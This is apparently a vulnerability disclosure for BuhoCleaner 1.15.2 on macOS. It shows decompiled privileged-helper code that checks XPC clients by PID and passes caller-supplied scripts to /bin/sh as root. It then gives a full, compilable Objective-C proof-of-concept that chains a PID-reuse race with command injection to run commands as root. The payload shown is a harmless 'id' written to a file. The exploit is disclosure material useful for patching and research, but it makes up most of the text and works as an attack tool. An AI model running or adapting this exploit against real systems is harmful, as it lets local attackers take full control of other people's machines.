BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack

- (BOOL)listener:(NSXPCListener *)listener 
  shouldAcceptNewConnection:(NSXPCConnection *)newConnection
{
    // VULNERABLE: Uses processIdentifier instead of auditToken
    int pid = [newConnection processIdentifier];
    
    // Validate code signature using PID
    BOOL valid = [self checkSigningForPID:pid];
    
    if (valid) {
        [newConnection resume];
        return YES;
    }
    
    return NO;
}

// Decompiled from BCFileDeleter::deleteFiles
- (void)deleteFiles {
    // ... paths deletion code ...
    
    // Execute scripts from user input
    for (NSString *script in self.scripts) {
        NSTask *task = [[NSTask alloc] init];
        [task setLaunchPath:@"/bin/sh"];           // Shell execution
        [task setArguments:@[@"-c", script]];      // NO SANITIZATION
        [task launch];                              // Executes as root
    }
}

- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts {
    BCFileDeleter *deleter = [[BCFileDeleter alloc] 
                              initWithPaths:paths 
                              withScripts:scripts];  // scripts stored unsanitized
    
    [deleter setDelegate:self];
    [deleter start];  // Eventually calls deleteFiles
}

// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <signal.h>

static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool";

@protocol BCHelperProtocol
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts;
@end

#define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner"
#define OUTPUT_FILE "/tmp/buho_rce_proof.txt"

int main(void) {
    extern char **environ;
    
    NSLog(@"");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"  BuhoCleaner RCE - Command Injection PoC");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"");
    
    // Payload
    NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE];
    
    int pid = fork();
    
    if (pid == 0) {
        @autoreleasepool {
            int my_pid = getpid();
            
            NSLog(@"[Child %d] Establishing XPC connection...", my_pid);
            
            NSXPCConnection* connection = [[NSXPCConnection alloc] 
                initWithMachServiceName:XPCHelperMachServiceName 
                options:4096];
            
            [connection setRemoteObjectInterface:
                [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]];
            
            [connection setInvalidationHandler:^{}];
            [connection setInterruptionHandler:^{}];
            
            [connection resume];
            
            id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) {
                NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription);
            }];
            
            NSLog(@"[Child %d] Injecting malicious command...", my_pid);
            NSLog(@"[Child %d] Payload: %@", my_pid, payload);
            
            // Command injection using the withScripts parameter
            [proxy deleteAtPaths:@[] withScripts:@[payload]];
            
            NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid);
            
            usleep(100000);
            
            // PID reuse attack
            char target_binary[] = kValid;
            char *target_argv[] = {target_binary, NULL};
            
            posix_spawnattr_t attr;
            posix_spawnattr_init(&attr);
            
            short flags;
            posix_spawnattr_getflags(&attr, &flags);
            flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
            posix_spawnattr_setflags(&attr, flags);
            
            posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
            
            exit(1);
        }
    }
    
    NSLog(@"[*] Waiting for command execution (3 seconds)...");
    sleep(3);
    
    NSLog(@"");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"  Verifying Result");
    NSLog(@"═══════════════════════════════════════════════════════════");
    NSLog(@"");
    
    // Read the result
    NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE 
                                                 encoding:NSUTF8StringEncoding 
                                                    error:nil];
    
    if (result) {
        NSLog(@" SUCCESS! Command executed as root");
        NSLog(@"Content of %s:", OUTPUT_FILE);
        NSLog(@"");
        NSLog(@"   %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]);
        NSLog(@"");

    } else {
        NSLog(@"Could not read the file");
        NSLog(@"[-] The attack may not have worked");
    }
    
    
    kill(pid, 9);
    
    return 0;
}